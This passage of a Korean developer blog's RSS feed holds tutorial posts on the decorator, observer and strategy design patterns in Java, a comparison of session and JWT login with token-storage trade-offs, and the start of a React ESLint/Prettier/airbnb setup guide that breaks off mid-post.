            <link>https://velog.io/@jeong-god/%EB%94%94%EC%9E%90%EC%9D%B8-%ED%8C%A8%ED%84%B4-%EB%8D%B0%EC%BD%94%EB%A0%88%EC%9D%B4%ED%84%B0-%ED%8C%A8%ED%84%B4</link>
            <guid>https://velog.io/@jeong-god/%EB%94%94%EC%9E%90%EC%9D%B8-%ED%8C%A8%ED%84%B4-%EB%8D%B0%EC%BD%94%EB%A0%88%EC%9D%B4%ED%84%B0-%ED%8C%A8%ED%84%B4</guid>
            <pubDate>Thu, 16 Jun 2022 05:29:27 GMT</pubDate>
            <description><![CDATA[<h1 id="정의">정의</h1>
<p>객체에 추가 요소를 동적으로 더할 수 있습니다. 데코레이터를 사용하면 서브클래스를 만들 때보다 훨씬 유연하게 기능을 확장할 수 있습니다.</p>
<h2 id="특징">특징</h2>
<ol>
<li>데코레이터의 슈퍼클래스는 자신이 장식하고 있는 객체의 슈퍼클래스와 같습니다.</li>
<li>한 객체를 여러 개의 데코레이터로 감쌀 수 있습니다.</li>
<li>데코레이터는 자신이 감싸고 있는 객체와 같은 슈퍼클래스를 가지고 있기에 원래 객체(싸여 있는 객체)가 들어갈 자리에 데코레이터 객체를 넣어도 상관없습니다.</li>
<li>데코레이터는 자신이 장식하고 있는 객체에게 어떤 행동을 위임하는 일 말고도 추가 작업을 수행할 수 있습니다.</li>
<li>객체는 언제든지 감쌀 수 있으므로 실행 중에 필요한 데코레이터를 마음대로 적용할 수 있습니다.</li>
</ol>
<h1 id="예시">예시</h1>
<p>커피숍을 예시로 들어보자.</p>
<p>Beverage라는 인터페이스를 두고 이를 구현하는 클래스들(아메리카노, 에스프레소..) 등을 구현할 수 있다.</p>
<p>그렇다면 스타벅스를 생각해보자.</p>
<p>스타벅스에서 커피를 시킬 때 추가 옵션을 붙여서 시킬 수 있다. 이러한 부분을 어떻게 나타낼 것인가?</p>
<p>모두 Beverage 인터페이스를 두고 휘핑크림을 추가하고, 추가하고.. 추가하고.. 이러한 것들을 하나하나 구현시킨다면 클래스가 말 그대로 폭발할 것이다.</p>
<p>⇒ 바뀌는 부분과 바뀌지 않는 부분을 나누지 않았다. 이를 나눠보자.</p>
<p>⇒ 상속보다는 구성을 활용해보자.</p>
<h3 id="그렇다면-어떻게-진행할-수-있을까">그렇다면 어떻게 진행할 수 있을까?</h3>
<p>이러한 꾸며주는 것들을 Beverage를 추상 클래스로 변환하여 속성값을 지니도록 하는 방법이 있을 것이다.</p>
<p>휘핑 크림, 우유, 모카등등을 속성으로 지니고 있게 만든다.</p>
<p>그 다음 자식 클래스에서 해당 속성을 변경하게 만들고 부모클래스에서 이를 바탕으로 가격을 계산한다.</p>
<p>괜찮아보인다..? 하지만 새로운 첨가물이 들어온다면?</p>
<ol>
<li>부모 클래스에서 코드의 변경이 일어나야한다. ⇒ OCP위반</li>
<li>자식 클래스에서 원하지 않는 첨가물들을 강제로 상속받게 된다.</li>
</ol>
<h2 id="데코레이터-패턴-사용">데코레이터 패턴 사용</h2>
<p>만약 DarkRoast커피에 모카를 넣고 휘핑크림을 추가한다고 해보자.</p>
<p>그렇다면 DarkRoast객체를 생성하고 이를 모카 객체로 감싸고, 휘핑크림 객체로 감싸면 된다.</p>
<p>즉, 장식을 한다는 말이다. 그래서 데코레이터 패턴이다. 다음과 같은 구조를 가진다.</p>
<p><img src="https://velog.velcdn.com/images/jeong-god/post/414818c1-29a4-4099-9740-df2f822a47f2/image.png" alt=""></p>
<p>먼저 다크로스트, 아메리카노와 같은 기본적인 구현체들은 <code>ConcreteComponent</code> 에 담긴다.</p>
<p>그 다음 휘핑 크림, 간장, 설탕과 같은 꾸며주는 객체들은 <code>Decorator</code> 을 상속받아 <code>ConcreteDecorator</code>에서 구현한다.</p>
<p>이렇게 <strong>꾸며주는 객체와 일반 객체는 같은 슈퍼클래스를 지닌다.</strong></p>
<p>코드로 한 번 봐보자.</p>
<h2 id="beverage">Beverage</h2>
<pre><code class="language-java">public abstract class Beverage {
    public String description = &quot;&quot;;

    public String getDescription() {
        return description;
    }

    public abstract double cost();
}
</code></pre>
<h2 id="beverage-기본적인-구현체">Beverage 기본적인 구현체</h2>
<pre><code class="language-java">public class HouseBlend extends Beverage {

    public HouseBlend() {
        description = &quot;하우스 블랜드 커피&quot;;
    }

    @Override
    public double cost() {
        return 0.99;
    }
}</code></pre>
<pre><code class="language-java">public class DarkRoast extends Beverage {

    public DarkRoast() {
        description = &quot;다크 로스트 커피&quot;;
    }

    @Override
    public double cost() {
        return 1.99;
    }
}</code></pre>
<h2 id="decorator">Decorator</h2>
<pre><code class="language-java">public abstract class CondimentDecorator extends Beverage {
    Beverage beverage;

    public abstract String getDescription();
}</code></pre>
<h3 id="decorator-구현체">Decorator 구현체</h3>
<pre><code class="language-java">public class Whip extends CondimentDecorator {

    public Whip(Beverage beverage) {
        this.beverage = beverage;
    }

    @Override
    public double cost() {
        return 1.99 + beverage.cost();
    }

    @Override
    public String getDescription() {
        return beverage.getDescription() + &quot;, 휘핑크림&quot;;
    }
}</code></pre>
<pre><code class="language-java">public class Soy extends CondimentDecorator {

    public Soy(Beverage beverage) {
        this.beverage = beverage;
    }

    @Override
    public double cost() {
        return 0.99 + beverage.cost();
    }

    @Override
    public String getDescription() {
        return beverage.getDescription() + &quot;, 간장&quot;;
    }
}</code></pre>
<h2 id="테스트">테스트</h2>
<pre><code class="language-java">public class Main {
    public static void main(String[] args) {
        Beverage coffee = new Soy(new Whip(new DarkRoast()));
        System.out.println(coffee.cost());
        System.out.println(coffee.getDescription());
    }
}</code></pre>
<h2 id="궁금점">궁금점</h2>
<h3 id="구상-구성-요소의-정보를-제대로-알수-없지-않나요">구상 구성 요소의 정보를 제대로 알수 없지 않나요?</h3>
<p>HouseBlend, DarkRoast이러한 객체를 Decorator로 감싸버리면 그 다음에는 얘네가 누군지 모르잖아요. 라는 뜻이다. 맞는 말이다.</p>
<p>그래서 구상 구성 요소에 어떠한 작업을 해야한다면 코드가 제대로 작동하지 않을 수 있다.</p>
<p>이 때에는 데코레이터 패턴을 적용하는게 옳을 지 생각해봐야 한다.</p>
<blockquote>
<p>참고
헤드퍼스트 디자인 패턴
<a href="https://dailyheumsi.tistory.com/198">https://dailyheumsi.tistory.com/198</a></p>
</blockquote>
]]></description>
        </item>
        <item>
            <title><![CDATA[[디자인 패턴] 옵저버 패턴]]></title>
            <link>https://velog.io/@jeong-god/%EB%94%94%EC%9E%90%EC%9D%B8-%ED%8C%A8%ED%84%B4-%EC%98%B5%EC%A0%80%EB%B2%84-%ED%8C%A8%ED%84%B4</link>
            <guid>https://velog.io/@jeong-god/%EB%94%94%EC%9E%90%EC%9D%B8-%ED%8C%A8%ED%84%B4-%EC%98%B5%EC%A0%80%EB%B2%84-%ED%8C%A8%ED%84%B4</guid>
            <pubDate>Wed, 15 Jun 2022 04:47:49 GMT</pubDate>
            <description><![CDATA[<h1 id="정의">정의</h1>
<p>한 객체의 상태가 바뀌면 그 객체에 의존하는 다른 객체에게 연락이 가고 자동으로 내용이 갱신되는 방식으로 <strong>일대다</strong> 의존성을 정의한다.</p>
<h1 id="작동-원리">작동 원리</h1>
<p>신문사와 구독자를 생각해보자. 신문사는 구독자가 되면 구독자에게만 신문을 전달해준다.</p>
<p>만일 구독하지 않았다면 신문을 전달해주지 않는다.</p>
<p>그래서 신문을 보고 싶다면 신문사에게 구독 요청을 진행하고 이를 승인받으면 구독자가 되고 신문을 받을 수 있게 되는 것이다.</p>
<h1 id="예시">예시</h1>
<p>기상 데이터를 받아오는 객체가 존재하고, 기상 데이터가 변화될 때 마다 다른 디스플레이에 뿌려준다라고 생각해보자.</p>
<p>일반적으로 짜면 이렇게 될 것이다.</p>
<pre><code class="language-java">public class WeatherData {
/**
 * 기상 관측값이 갱신될 때 마다 해당 메소드가 호출된다. 어떤 식으로 호출되는지는 모른다.
 */
public void measurementsChanged() {
        float temp = getTemperature();
        float humidity = getHumidity();
        float pressure = getPressure();

        currentConditionDisplay.update(temp, humidity, pressure);
        statisticsDisplay.update(temp, humidity, pressure);
        forecastDisplay.update(temp, humidity, pressure);
    }</code></pre>
<h3 id="해당-메소드의-문제점">해당 메소드의 문제점</h3>
<ol>
<li><p>추후에 새로운 디스플레이가 나오면 메소드를 변경해야한다는 점이다.</p>
</li>
<li><p>온도, 습도, 기압만을 받고 있는데 추후에 다른 데이터를 추가하고 싶다면 메소드 변경이 이루어져야 한다.</p>
</li>
<li><p>너무 구체적이다.</p>
<p> 데이터를 그저 넘겨주기만 하면 되는데 해당 디스플레이가 무엇인지 알 필요가 없다. 즉, 결합도가 높아졌다는 뜻이고 이를 추상화해서 결합도를 떨어뜨려보자.</p>
</li>
</ol>
<h2 id="옵저버-패턴-적용">옵저버 패턴 적용</h2>
<p>일단 WeatherData라는 부분은 “신문사&quot; 라고 생각해보고 옵저버에게 알려주는 주체라고 생각해보자.</p>
<pre><code class="language-java">public interface Subject {
    void registerObserver(Observer o);
    void removeObserver(Observer o);
    void notifyObservers();
}</code></pre>
<pre><code class="language-java">public class WeatherData implements Subject {
    private List&lt;Observer&gt; observers;
    private float temperature;
    private float humidity;
    private float pressure;

    public WeatherData() {
        observers = new ArrayList&lt;Observer&gt;();
    }

    @Override
    public void registerObserver(Observer o) {
        observers.add(o);
    }

    @Override
    public void removeObserver(Observer o) {
        observers.remove(o);
    }

    @Override
    public void notifyObservers() {
        for (Observer observer : observers) {
            observer.update(temperature, humidity, pressure);
        }
    }

    public void measurementsChanged() {
        notifyObservers();
    }

    public void setMeasurements(float temperature, float humidity, float pressure) {
        this.temperature = temperature;
        this.humidity = humidity;
        this.pressure = pressure;
        measurementsChanged();
    }
}</code></pre>
<p>이렇게 만들어보자.</p>
<p>그러면 다른 옵저버 패턴의 주체가 생겼을 때에도 <code>subject</code> 인터페이스를 상속받아 진행하면 된다.</p>
<p>이제 옵저버(위에서 봤던 디스플레이들)를 만들어보자.</p>
<pre><code class="language-java">public interface Observer {
    void update(float temp, float humidity, float pressure);
}</code></pre>
<p>우리는 디스플레이가 여러개 존재하니 이도 추상화시켜보자.</p>
<pre><code class="language-java">public interface DisplayElement {
    void display();
}</code></pre>
<p>자 이제 구현체를 만들어보자.</p>
<pre><code class="language-java">public class CurrentConditionsDisplay implements Observer, DisplayElement {
    private float temperature;
    private float humidity;
    private WeatherData weatherData;

    public CurrentConditionsDisplay(WeatherData weatherData) {
        this.weatherData = weatherData;
        weatherData.registerObserver(this);
    }

    @Override
    public void display() {
        System.out.println(temperature + &quot; &quot; + humidity);
    }

    @Override
    public void update(float temp, float humidity, float pressure) {
        this.temperature = temp;
        this.humidity = humidity;
        display();
    }
}</code></pre>
<p>옵저버가 되고 싶다면 해당 WeatherData를 넣어 옵저버에 등록하기만 하면 된다.</p>
<p>그 후에는 그냥 WeatherData라는 주체가 알아서 해줄 것이다.</p>
<pre><code class="language-java">public class Main {
    public static void main(String[] args) {
        WeatherData weather = new WeatherData();

                CurrentConditionsDisplay currentConditionsDisplay = new CurrentConditionsDisplay(weather);

        weather.setMeasurements(36.5f, 10f, 1f);
        weather.setMeasurements(36f, 15f, 2f);
    }
}</code></pre>
<p>잘 작동하는 것을 볼 수 있다. WeatherData객체를 변경했을 뿐인데 바로 display에서 변경을 감지하고 나타낸다.</p>
<h2 id="자바에도-observer인터페이스가-존재하던데요">자바에도 Observer인터페이스가 존재하던데요..?</h2>
<p>옵저버 패턴을 많이 사용하길래 Java에서 직접 추가해준 것이다. 이를 사용해도 간단한 옵저버 패턴을 구현할 수 있다.</p>
<p>하지만, 커스터마이징하기가 불편하고 더 강력한 기능들을 원했기에 Java 9 이후로 쓰이지 않는다.</p>
<h2 id="옵저버의-알림-순서를-정해야-하나요">옵저버의 알림 순서를 정해야 하나요?</h2>
<p>알림 순서에 의존하지 말라는 JDK권고가 있다.</p>
<h2 id="지금보니깐-weatherdata객체에서-데이터를-넘겨주는-방식이-아닌-currentconditiondisplay객체에서-데이터를-가져오는-방식은-어때요">지금보니깐 WeatherData객체에서 데이터를 넘겨주는 방식이 아닌 CurrentConditionDisplay객체에서 데이터를 가져오는 방식은 어때요?</h2>
<p>이는 data를 push해줄 것이냐, 아니면 pull해올 것이냐에 차이다.</p>
<p>구현 방법에 차이다. 어느 것을 사용하든 상관이 없다. 만약 pull해오고 싶다면 WeatherData객체에서 getter 메소드를 구현하고 Observer 구현체에서 get메소드를 호출해서 진행하면 된다.</p>
<blockquote>
<p>참고
헤드퍼스트 디자인 패턴</p>
</blockquote>
]]></description>
        </item>
        <item>
            <title><![CDATA[[디자인 패턴] 전략 패턴]]></title>
            <link>https://velog.io/@jeong-god/%EB%94%94%EC%9E%90%EC%9D%B8-%ED%8C%A8%ED%84%B4-%EC%A0%84%EB%9E%B5-%ED%8C%A8%ED%84%B4</link>
            <guid>https://velog.io/@jeong-god/%EB%94%94%EC%9E%90%EC%9D%B8-%ED%8C%A8%ED%84%B4-%EC%A0%84%EB%9E%B5-%ED%8C%A8%ED%84%B4</guid>
            <pubDate>Tue, 14 Jun 2022 03:51:42 GMT</pubDate>
            <description><![CDATA[<h1 id="정의">정의</h1>
<p>알고리즘 군을 정의하고 <strong>캡슐화</strong>해서 각각의 알고리즘군을 수정해서 쓸 수 있게 해준다.</p>
<p>클라이언트로부터 알고리즘을 분리해서 독립적으로 변경할 수 있다.</p>
<p>즉, 객체들이 할 수 있는 행위 각각에 대해 <strong>전략 클래스</strong>를 생성하고, 유사한 행위들을 캡슐화하는 행위를 말한다.</p>
<h1 id="예시">예시</h1>
<p>만일 오리가 있다고 해보자. 오리의 종류에는 여러가지가 존재한다.</p>
<p>꽥꽥 우는 오리가 있을 것이고, 장난감 오리처럼 울지 못하는 오리, 끽끽 우는 오리..등등 많을 것이다.</p>
<p>이러한 부분을 그냥 구현해보면 다음과 같다.</p>
<pre><code class="language-java">public abstract class Duck {
    abstract void swim();
    abstract void quack();
    abstract void display();
}</code></pre>
<pre><code class="language-java">public class RedheadDuck extends Duck{
    @Override
    public void swim() {
        /** 구현 **/
    }

    @Override
    public void display() {
        /** 구현 **/
    }

        @Override
    public void quack() {
        /** 구현 **/
    }
}</code></pre>
<pre><code class="language-java">public class RubberDuck extends Duck{
    @Override
    public void swim() {
        /** 구현 **/
    }

    @Override
    public void display() {
        /** 구현 **/
    }

        @Override
    public void quack() {
        /** 구현 **/        
    }
}</code></pre>
<p>이런식으로 새로운 오리가 탄생할 때 마다 swim, display, quack을 구현해야한다.</p>
<p>만약, 같은 꽥꽥우는 오리가 생겨도 똑같이 구현해야하는 <strong>코드의 중복</strong>이 생기게 되는 문제도 생긴다.</p>
<p>그리고 울지 못 하는 오리가 생겨도 <code>quack()</code> 이라는 메소드를 상속받고 구현해야하는 문제도 생긴다.</p>
<p>여기서 달라지는 부분을 찾아내고, 달라지지 않는 부분을 분리한다. 라는 디자인 원칙을 적용해 진행해보자.</p>
<p><strong>달라지는 부분</strong>은 각각 swim, display, quack과 같은 부분일 것이다.</p>
<p><strong>달라지지 않는 부분</strong>은 오리라는 특성은 달라지지 않을 것이다.</p>
<p>그렇다면 오리라는 클래스는 냅두고, 달라지는 부분을 따로 나타내보자.</p>
<h2 id="전략-패턴-적용">전략 패턴 적용</h2>
<p>우리는 달라지는 부분을 따로 캡슐화해야한다.</p>
<pre><code class="language-java">public abstract class Duck {
    private QuackStrategy quackStrategy;
    private SwimStrategy swimStrategy;

    abstract void display();
    public void performQuack() {
        quackStrategy.quack();
    }
    public void performSwim() {
        swimStrategy.swim();
    }

    public void setSwimStrategy(SwimStrategy swimStrategy) {
        this.swimStrategy = swimStrategy;
    }

    public void setQuackStrategy(QuackStrategy quackStrategy) {
        this.quackStrategy = quackStrategy;
    }
}</code></pre>
<pre><code class="language-java">public class RedheadDuck extends Duck{
    @Override
    public void display() {
        /** 구현 **/
    }
}</code></pre>
<pre><code class="language-java">public interface QuackStrategy {
    void quack();
}</code></pre>
<pre><code class="language-java">public interface SwimStrategy {
    void swim();
}</code></pre>
<p>이렇게 우는 부분과 헤엄치는 부분을 따로 뺐다.</p>
<p>이를 구현하는 클래스를 만들자.</p>
<pre><code class="language-java">public class Squack implements QuackStrategy{
    @Override
    public void quack() {
        System.out.println(&quot;꽥꽥&quot;);
    }
}</code></pre>
<pre><code class="language-java">public class SwimNoWay implements SwimStrategy{
    @Override
    public void swim() {
        System.out.println(&quot;수영을 못 해요..&quot;);
    }
}</code></pre>
<p>이제 작동하는 오리를 만들어보자.</p>
<pre><code class="language-java">public class Main {
    public static void main(String[] args) {
        Duck redDuck = new RedheadDuck();
        redDuck.setQuackStrategy(new Squack());
        redDuck.setSwimStrategy(new SwimNoWay());

        redDuck.performQuack();
        redDuck.performSwim();
    }
}</code></pre>
<p>나중에 같은 꽥꽥우는 오리를 추가하고 싶으면 <code>Squack</code> 을 받아서 진행하면 된다. ⇒ 코드의 중복성이 사라진다.</p>
<p>나중에 오리가 추가 되었을 때도 새로운 기능이 추가되면 <code>QuackStrategy</code> 인터페이스를 상속받아 새롭게 추가하면 된다. ⇒ OCP를 만족한다.</p>
<blockquote>
<p>참고
 헤드퍼스트 디자인 패턴</p>
</blockquote>
]]></description>
        </item>
        <item>
            <title><![CDATA[Session과 JWT Token을 통한 로그인 방식]]></title>
            <link>https://velog.io/@jeong-god/Session%EA%B3%BC-JWT-Token%EC%9D%84-%ED%86%B5%ED%95%9C-%EB%A1%9C%EA%B7%B8%EC%9D%B8-%EB%B0%A9%EC%8B%9D</link>
            <guid>https://velog.io/@jeong-god/Session%EA%B3%BC-JWT-Token%EC%9D%84-%ED%86%B5%ED%95%9C-%EB%A1%9C%EA%B7%B8%EC%9D%B8-%EB%B0%A9%EC%8B%9D</guid>
            <pubDate>Thu, 26 May 2022 07:26:41 GMT</pubDate>
            <description><![CDATA[<h1 id="http통신">HTTP통신</h1>
<p>우리가 알고 있는 HTTP통신은 stateless하다. 이 뜻은 서버는 응답만하는 기계일 뿐이지, 요청자가 누구인지 기억하지 않는다는 뜻이다.</p>
<p>API서버를 만들다 보면 개인정보에 관한 내용들은 누구에게 함부로 응답을 줘서는 안된다. <strong>인증된 클라이언트</strong>에게만 정보를 전달해야한다.
그런데 서버는 클라이언트가 누구인지 모른다고 했다. 그렇다면 클라이언트가 서버에게 나는 누구야! 라고 알려줘야 할텐데 어떻게 진행하면 좋을까?</p>
<h1 id="인증-과정">인증 과정</h1>
<ol>
<li>클라이언트가 서버에게 로그인 요청을 보낸다.</li>
<li>로그인이 성공적으로 이루어지면, 서버는 인증 정보를 클라이언트에게 전달한다.</li>
<li>앞으로 클라이언트는 요청할 때, 서버에게받은 인증 정보를 같이 보내 자신이 인증된 사용자라는 것을 서버에게 알린다.</li>
</ol>
<p>그런데 여기서 서버는 &quot;인증된 사용자&quot; 라는 것을 어떤 방식으로 처리할까?</p>
<h1 id="1-session-로그인">1. Session 로그인</h1>
<p>세션 로그인이란 서버에서 <code>{&quot;session ID&quot; : &quot;value&quot;}</code> 값을 생성하여 메모리상에 저장해두고, <code>session ID</code> 값을 쿠키로 만들어 클라이언트에게 전달한다.</p>
<p>그런 뒤에 클라이언트가 <code>session ID</code>값을 쿠키로 전달해주면 해당 <code>session ID</code>값에 해당하는 <code>value</code>를 조회해 해당 유저의 정보를 알려주게 된다.</p>
<h3 id="장점">장점</h3>
<ol>
<li>서버에서 클라이언트 상태 정보를 갖고 있으므로, 사용자의 로그인 확인 여부나 강제 로그아웃등을 할 수 있다.</li>
</ol>
<h3 id="단점">단점</h3>
<ol>
<li>서버의 메모리를 잡아먹는다.
 =&gt; 수많은 이용자가 로그인을 하면 그 때마다 서버에서 <code>{&quot;session ID&quot; : &quot;value&quot;}</code> 값을 생성하여 관리하게 된다.</li>
<li>서버를 확장시키기가 어렵다.
 =&gt; 여러 대의 서버를 운영한다면, 각 서버마다 세션 정보들을 갖고 있어야 한다.
 이는, in-memory-DB등을 운용하여 해결할 수 있다.</li>
</ol>
<h1 id="2-jwt-token-로그인">2. JWT Token 로그인</h1>
<p>세션 로그인은 <strong>&quot;서버가 클라이언트 상태 정보&quot;</strong>를 갖고 관리 및 인증을 하는 반면 JWT Token은 신경쓰지 않는다.
처음 JWT Token을 발급한 뒤부터는 오로지 해당 토큰이 유효한지 유효하지 않은지만 판단하여 인증을 진행한다.</p>
<p>그렇기 때문에 서버에서는 발급하는 비용, 유효한지 판단하는 비용만 존재한다.
서버에서 어떤 정보를 저장할 필요가 없다.</p>
<h2 id="jwt-token의-구성">JWT Token의 구성</h2>
<h3 id="header">Header</h3>
<p>토큰의 타입과 해싱 알고리즘의 종류를 저장한다.
base64url로 인코딩된다.</p>
<blockquote>
<p>JWT Token은 base64가 아닌 base64url이라는 것으로 인코딩된다고 한다.
이유를 찾아보니 예전에 url로 jwt가 전달되었었는데 이 부분이 표준이 되서 지금까지도 쓰이는 것 같다.
<a href="https://stackoverflow.com/questions/56711129/why-do-you-use-base64-url-encoding-with-json-web-tokens">https://stackoverflow.com/questions/56711129/why-do-you-use-base64-url-encoding-with-json-web-tokens</a></p>
</blockquote>
<h3 id="payload">Payload</h3>
<p>토큰에 담을 정보가 들어간다.
무엇이든 들어갈 수 있지만 <strong>암호화</strong>되어있는 것이 아니여서 중요한 정보는 담으면 안된다.</p>
<p>일반적으로 토큰의 발급시간, 발급자, 사용자 아이디값등이 들어간다.
base64url로 인코딩한다.</p>
<h3 id="signature">Signature</h3>
<p>이 부분이 JWT Token이 유효한지 아닌지 판단할 수 있는 부분이다.
Header + Payload를 합친뒤, 서버에서 설정한 Secret Key를 이용하여 Header에 나타난 해싱 알고리즘으로 암호화를 한다.
그 다음 base64url로 인코딩한다.</p>
<p>인증하는 부분은 Signature을 복호화하여 넘어온 Header, Payload와 값이 일치하는지 아닌지를 판단하여 인증을 진행한다.</p>
<p>그렇게 <code>{Header}.{Payload}.{Signature}</code> 형식으로 JWT Token이 완성된다.</p>
<h3 id="장점-1">장점</h3>
<ol>
<li>클라이언트에 JWT Token을 관리하므로 서버에 부담이 없다.</li>
<li>서버는 토큰을 생성하여 전달만 하면 되므로 서버 확장에 용이하다.<h3 id="단점-1">단점</h3>
</li>
<li>서버에 클라이언트에 대한 정보가 전혀 없으므로 토큰을 통해서만 클라이언트를 전적으로 믿을 수 밖에 없다.</li>
<li>사용자의 로그인 여부 확인이나 강제 로그아웃등의 제제를 가할 수 없다.</li>
<li>JWT Token은 Session보다 길이가 길다. 이를 요청마다 보내게 되면 HTTP Request의 오버헤드가 커진다.</li>
</ol>
<h1 id="클라이언트의-저장-위치">클라이언트의 저장 위치</h1>
<p>클라이언트는 Session이나 JWT Token 어느것이든 이용한다고 한들, 인증 정보를 갖고 있어야 한다.
이 인증 정보들을 어디에다가 저장해놔야 안전할까?</p>
<p>진짜 이 부분은 며칠동안 고민하고 찾아봤다. 하지만 보안이라는 것이 100% 완전 보안! 이라는 말은 존재하지 않는다. 최대한 막아보자. 라는 것이 우리의 목표일 뿐이다.
그래서 사람들마다 생각이 다르다. 이 부분도 결국 <strong>나의 생각</strong>일 뿐, 이걸로 해야한다! 라는 뜻은 아니다.</p>
<h2 id="localstoarge">LocalStoarge</h2>
<ol>
<li>최대 5MB까지 저장가능한 저장소이다.</li>
<li>영구적으로 저장이 가능하다.</li>
<li>HTTP통신이면 무조건적으로 전달되는 쿠키와는 달리 선택적으로 HTTP통신에 넣어 전달할 수 있다.
 =&gt; CSRF공격에 대응할 수 있다.</li>
</ol>
<h3 id="단점-2">단점</h3>
<ol>
<li>XSS공격에 취약하다. js코드로 접근이 가능하기 때문이다.</li>
</ol>
<h2 id="cookie">Cookie</h2>
<ol>
<li>최대 4KB까지 저장가능한 저장소이다.</li>
<li>HttpOnly 옵션을 통해 XSS공격에 대응이 가능하다.</li>
<li>다양한 옵션이 존재한다. httponly, secure, samesite등..<h3 id="단점-3">단점</h3>
</li>
<li>CSRF공격에 취약하다.
 =&gt; 이는 옵션을 통해 어느정도 대응할 수 있다.</li>
</ol>
<h2 id="결론">결론</h2>
<p>LocalStorage는 너무 쉽게 접근이 가능하다. XSS공격도 쉽게 당할 수 있다.
그래서 보안적으로 유리해보이지 않는다.</p>
<p>즉, Cookie를 사용하는 것이 옳다는 의견이다.
HttpOnly옵션을 주면 브라우저에서 코드상으로 접근이 불가능하게 막을 수 있다.
Secure옵션을 주면 Https통신에서만 쿠키가 전달되도록 하여 보안을 높일 수 있다.
SameSite 옵션을 통해 같은 도메인상에서만 api호출이 가능하도록 만들 수 있다.</p>
<h3 id="마지막으로-세션과-jwt중-어떤-것이-좋은가요">마지막으로 세션과 JWT중 어떤 것이 좋은가요?</h3>
<p>이 부분도 궁금했다. 위에서 말했다싶이 세션과 JWT는 <strong>서버에서 클라이언트 정보를 관리하냐, 안하냐</strong>의 차이이다.</p>
<p>세션이든 JWT Token이든 클라이언트 상에 정보를 저장한다는 것은 동일하다.
그러므로, 탈취당할 위험성도 동일하다.</p>
<p>하지만, 세션은 클라이언트가 &quot;나 해킹당했어!&quot; 라고 서버에게 말해주면 서버는 해당 세션 id값을 파기하고 새로 발급해주는 식으로 어느정도 대응이 가능하다.
JWT는 &quot;나 해킹당했어!&quot; 해도 어떻게 대응할 방도가 존재하지 않는다. Signature의 해싱방식을 바꾸든, secret key를 바꿔서 해결 할 수 밖에 없다.
그렇게 되면 모든 사용자가 다시 인증을 받아야 하니 좋은 대응 방안은 아닌 것 같다.</p>
<p>세션과 JWT의 차이는 메모리를 잡아먹느냐, 개개인의 사용자를 제어할 수 있느냐. 의 차이인 것 같다.</p>
<p>결론은 현재 프로젝트에 어떤 성향이 더 맞는지를 판단하여 적용하는 것이 옳다. 더 좋다 라는 개념은 없다.</p>
<blockquote>
<p>참고
<a href="https://millo-l.github.io/Session-%EA%B8%B0%EB%B0%98-%EC%9D%B8%EC%A6%9D%EB%B0%A9%EC%8B%9D">https://millo-l.github.io/Session-기반-인증방식</a>
<a href="https://github.com/boojongmin/memo/issues/7">https://github.com/boojongmin/memo/issues/7</a>
<a href="https://ledgku.tistory.com/72">https://ledgku.tistory.com/72</a>
<a href="https://velopert.com/2389">https://velopert.com/2389</a>
<a href="https://velog.io/@0307kwon/JWT%EB%8A%94-%EC%96%B4%EB%94%94%EC%97%90-%EC%A0%80%EC%9E%A5%ED%95%B4%EC%95%BC%ED%95%A0%EA%B9%8C-localStorage-vs-cookie">https://velog.io/@0307kwon/JWT는-어디에-저장해야할까-localStorage-vs-cookie</a></p>
</blockquote>
]]></description>
        </item>
        <item>
            <title><![CDATA[(React) ESLint - Prettier - airbnb 설정]]></title>
            <link>https://velog.io/@jeong-god/React-ESLint-Prettier-airbnb-%EC%84%A4%EC%A0%95</link>
            <guid>https://velog.io/@jeong-god/React-ESLint-Prettier-airbnb-%EC%84%A4%EC%A0%95</guid>
            <pubDate>Tue, 24 May 2022 06:20:20 GMT</pubDate>
            <description><![CDATA[<h1 id="eslint">ESLint</h1>
<p>ESLint를 사용하는 이유는 자바스크립트의 코드를 실행해야만 어디의 코드가 문제인지 파악이 가능하다.</p>
<p>이러한 부분을 동적 분석이라고 하는데, 코드를 실행하지 않고도 코드를 분석해주는 정적 분석을 하게 되면 더 편하게 코드를 짤 수 있을 것이다.</p>
<p>이러한 점을 도와주는게 ESLint이다.</p>
<h1 id="prettier">Prettier</h1>
<p>Prettier를 사용하는 이유는 각자마다 코딩 스타일이 다른 부분을 통일시켜주기 위함이다.</p>
<p>팀프로젝트를 진행할 때, 탕수육을 부어먹을래! 난 찍어 먹을래! 하면서 각자 자신의 스타일을 주장하며 코드를 짜게 되면 코드가 뒤죽박죽이 된다.</p>
<p>이러한 점을 방지하고 코드 스타일을 통일시키는데 쓰는게 Prettier이다.</p>
<h1 id="설치-방법">설치 방법</h1>
<h2 id="1-eslint-설치">1. ESLint 설치</h2>
<p>CRA(Create React App)으로 설치하게 되면 ESLint는 자동으로 설치된다.</p>
<p>이를 확인해보려면 package.json의 <code>eslintConfig</code>라는 부분에서 확인할 수 있다.</p>
<p>아니면 <code>yarn list | grep &quot;eslint&quot;</code> 이렇게도 확인이 가능하다.</p>
<p>vscode를 사용한다면 ESLint Extension을 설치하여 에디터에서 바로바로 확인할 수 있게 만들 수 있다.</p>
<p>설치하지 않으면 CLI에서만 확인이 가능하다.</p>
<h2 id="2-eslint---airbnb-컨벤션-사용하기">2. ESLint - airbnb 컨벤션 사용하기</h2>
<p>이제 ESLint를 그냥 사용할 수도 있지만 다른 개발자들이 설정해놓은 코딩 컨벤션을 사용할 수도 있다.</p>
<p>그 중 유명한 컨벤션인 airbnb 컨벤션을 사용해보자.</p>
<pre><code class="language-java">yarn info &quot;eslint-config-airbnb@latest&quot; peerDependencies</code></pre>
<p>이렇게 치면 우리가 eslint-config-airbnb를 설치하기 전 필요한 의존성들을 살펴볼 수 있다.</p>
<p>이러한 의존성들이 설치되었는지 확인해보려면</p>
<pre><code class="language-java">yarn list | grep &quot;eslint-config&quot;</code></pre>
<p>이렇게 확인해볼 수 있다. CRA를 통해 진행했다면 모든게 설치되어있을 것이다.</p>
<p>그러면 바로 설치해보자.</p>
<pre><code class="language-java">yarn add eslint-config-airbnb --dev</code></pre>
<p>그리고 코딩 컨벤션이나 코딩 스타일같은 것들은 배포환경에서는 필요없는 패키지들이다.</p>
<p>그러므로, 개발환경에서만 사용하게 <code>--dev</code> 를 꼭 넣어서 설치해주자.</p>
<h2 id="3-eslint-설정하기">3. ESLint 설정하기</h2>
<p>root디렉토리에 <code>.eslintrc.js</code> 를 만들어주자.</p>
<pre><code class="language-jsx">module.exports = {
  env: {
    browser: true,
    es2021: true,
    amd: true,
  },
    extends: [&quot;eslint:recommended&quot;, &quot;airbnb&quot;],
};</code></pre>
<h3 id="env">env</h3>
